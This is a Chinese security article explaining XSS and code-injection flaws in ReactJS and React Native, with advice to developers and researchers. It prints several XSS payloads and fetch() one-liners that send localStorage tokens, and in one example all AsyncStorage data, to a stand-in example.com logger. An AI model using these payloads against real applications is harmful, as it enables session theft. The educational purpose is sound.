ReactJS 中的代码注入
weny
7年前
<p><img src="https://simg.open-open.com/show/bb0adf564ce06a5ec607d74dee39793c.png"></p> <h2>ReactJS 概述</h2> <p>ReactJS是一款用于构建用户界面的JavaScript库。它能预加载Web前端,给用户带来更舒适的体验。React已经实现了绝大部分的客户端逻辑(比如说React能自动编码字符串),因此开发者大抵不用担心XSS攻击。</p> <p>因此,只要合理使用React,你的应用就不会有太大的安全隐患。然而这些防御措施还是会因为坏的编程习惯而失效,比方说:</p> <ul> <li>使用客户端提供的对象来创建React组件</li> <li>通过用户提供的href或者其它可注入的属性来渲染链接</li> <li>在React中使用dangerouslySetInnerHTML</li> <li>把用户提供的数据传给eval()</li> </ul> <p>就像墨非定律说的那样,这些隐患随时都会产生漏洞。让我慢慢道来。</p> <h2>Components, Props和Elements</h2> <p>Component(组件)是ReactJS最基本的对象。它们就像JavaScript的函数一样,接受任意输入(就是后文的props)并返回一个React Element(元素)。一个基本的component如下:</p> <pre> <code class="language-javascript">class Welcome extends React.Component { render() { return <h1>Hello, {this.props.name}</h1>; } }</code></pre> <p>注意看奇葩的return,它返回的东西叫JSX。JSX是JavaScript语法的扩展,它会被自动转译成正常的JavaScript(ES5)代码。就拿下面的代码来说,虽然它们形式不一样,但功效相同:</p> <pre> <code class="language-javascript">// JSX代码 const element = ( <h1 className="greeting"> Hello, world! </h1> ); // 被转译过后的代码 const element = React.createElement( ‘h1’, {className: ‘greeting’}, ‘Hello, world!’ );</code></pre> <p>在React中,开发者可以用createElement()来从component类中创建新的元素:</p> <pre> <code class="language-javascript">React.createElement( type, [props], [...children] )</code></pre> <p>这个函数用了这三个参数:</p> <ul> <li>type可以是HTML标签的名字(比如div,span),或者是一个component类。不过在React Native中,这个参数只能被传入component</li> <li>props是一个包含了许多属性的列表,并且这些值要被传给element</li> <li>children包含了新元素的子节点</li> </ul> <p>当你控制了其中的参数,你可以发动许多攻击</p> <h2>注入子节点</h2> <p>在2015年3月,Daniel LeCheminant汇报了一个 <a href="/misc/goto?guid=4959751278064303997" rel="nofollow,noindex"> HackerOne的存储形XSS </a> 。导致这个问题的原因是HackerOne会将客户端提供的一个对象当作children传给React.createElement()。代码大概如下:</p> <pre> <code class="language-javascript">/* 获取用户提供的参数,并将其当作JSON解析 attacker_supplied_value = JSON.parse(some_user_input) */ render() { return <span>{attacker_supplied_value}</span>; }</code></pre> <p>JSX会被转译成这样: React.createElement("span", null, attacker_supplied_value};</p> <p>当attacker_supplied_value是字符串时,该代码会返回一个span元素。不过在参数为简单对象时,这个函数也会正常执行。Daniel在props中添加dangerouslySetInnerHTML来阻止React转码HTML:</p> <pre> <code class="language-javascript">{ _isReactElement: true, _store: {}, type: "body", props: { dangerouslySetInnerHTML: { __html: "<h1>Arbitrary HTML</h1> <script>alert(‘No CSP Support :(‘)</script> <a href=’http://danlec.com'>link</a>" } } }</code></pre> <p>后来,React的元素需要有属性$$typeof: Symbol.for('react.element') 才能被正确识别。因为在注入对象时不能引用全局JavaScript Symbol,Daniel的方法也就随之失效了。</p> <h2>控制Element类型</h2> <p>虽然注入简单对象这个方法不能使用了,但是createElement的type参数支持字符串,因此注入component也还是有可能的。假设有以下代码:</p> <pre> <code class="language-javascript">// 用后端提供的字符串创建element element_name = stored_value; React.createElement(element_name, null);</code></pre> <p>如果stored_value被攻击者控制,那么可以通过其创建任意React component。不过这样也只能创建简单的HTML元素。为了更好地利用,攻击者必须控制新建元素时的属性参数。</p> <h2>注入props</h2> <p>我们来看看一下代码:</p> <pre> <code class="language-javascript">// 解析攻击者提供的JSON并传给createElement中 // 危险代码,请勿模仿 attacker_props = JSON.parse(stored_value) React.createElement("span", attacker_props};</code></pre> <p>我们可以以此注入任意props参数,比方说开启dangerouslySetInnerHTML:</p> <pre> <code class="language-javascript">{"dangerouslySetInnerHTML" : { "__html": "<img src=x/ onerror=’alert(localStorage.access_token)’>"}}</code></pre> <h2>传统XSS</h2> <p>一些传统的XSS攻击向量也可以被应用到ReactJS中,我将列举一些情况:</p> <p><strong>设置了dangerouslySetInnerHTML</strong></p> <p>开发者可能因种种原因启用了dangerouslySetInnerHTML: <div dangerouslySetInnerHTML={user_supplied} /></p> <p>很显然,当你控制了它的参数后,你可以注入任意JavaScript代码</p> <p><strong>可注入的属性</strong></p> <p>如果你控制了一个动态创建的a标签中的href属性,那么便可以尝试注入javascript:伪协议。还有一些HTML5的属性(formactin),也可以被用来当攻击点。</p> <pre> <code class="language-javascript"><a href={userinput}>Link</a> <button form="name" formaction={userinput}></code></pre> <p>当浏览器支持HTML5的import时,如下代码也会生效: <link rel=”import” href={user_supplied}></p> <h2>服务端渲染的HTML</h2> <p>为了减少页面加载的时间,人们渐渐倾向于在服务端预渲染ReactJS。在16年11月, <a href="/misc/goto?guid=4959751278155379780" rel="nofollow,noindex"> Emilia Smith </a> 指出因为缺乏转码, <a href="/misc/goto?guid=4958973395905045282" rel="nofollow,noindex"> Redux </a> 的服务端预渲染代码会导致XSS。</p> <p>当然,只要在预渲染时缺乏转码,任何Web应用都会有类似问题。</p> <h2>基于Eval的代码注入</h2> <p>当你控制了一个被传入eval到执行的字符串,执行自己的代码便不在话下。不过这种情况凤毛麟角。</p> <pre> <code class="language-javascript">function antiPattern() { eval(this.state.attacker_supplied); } // Or even crazier fn = new Function("..." + attacker_supplied + "..."); fn();</code></pre> <h2>持久化 session</h2> <p>对于现代Web应用而言,session cookies已经过时了。身处时代前沿的开发者一般在用无状态的session tokens,并将其存储在客户端的local storage。因此我们也要改变攻击手段了:</p> <pre> <code class="language-javascript">fetch('http://example.com/logger.php?token='+localStorage.access_token);</code></pre> <h2>React Native 中的注入</h2> <p>React Native让你可以用ReactJS在移动端编写程序,然而前文提到的手段大多在React Native中不管用:</p> <ul> <li>React Native的createInternalComponent只接受被标签过的component类。即使你能控制createElement的所有参数,也不能创建任意元素。</li> <li>HTML属性不能使用,并且HTML不会被解析,因此一般基于浏览器的XSS(比如href)不能正常执行</li> </ul> <p>只有基于eval的攻击才能被执行。不过当你成功地执行了JS时,就能使用React Native的API来做破坏力更强的事,比如通过AsyncStorage盗取local storage的所有数据:</p> <pre> <code class="language-javascript">_reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch('http://example.com/logger.php?token='+JSON.stringify(result));});});</code></pre> <h2>总结</h2> <p>即使React安全防御先天良好,坏的编程习惯依然会带来种种漏洞。我给大家带来两个忠告:</p> <ul> <li>对于安全研究员:给每一个参数注入JavaScript或者JSON,可能会有意外的惊喜</li> <li>对于开发者:千万不要使用eval()或dangerouslySetInnerHTML。尽可能地少解析用户提供的JSON</li> </ul> <p> </p> <p>来自:https://zhuanlan.zhihu.com/p/28434174</p> <p> </p>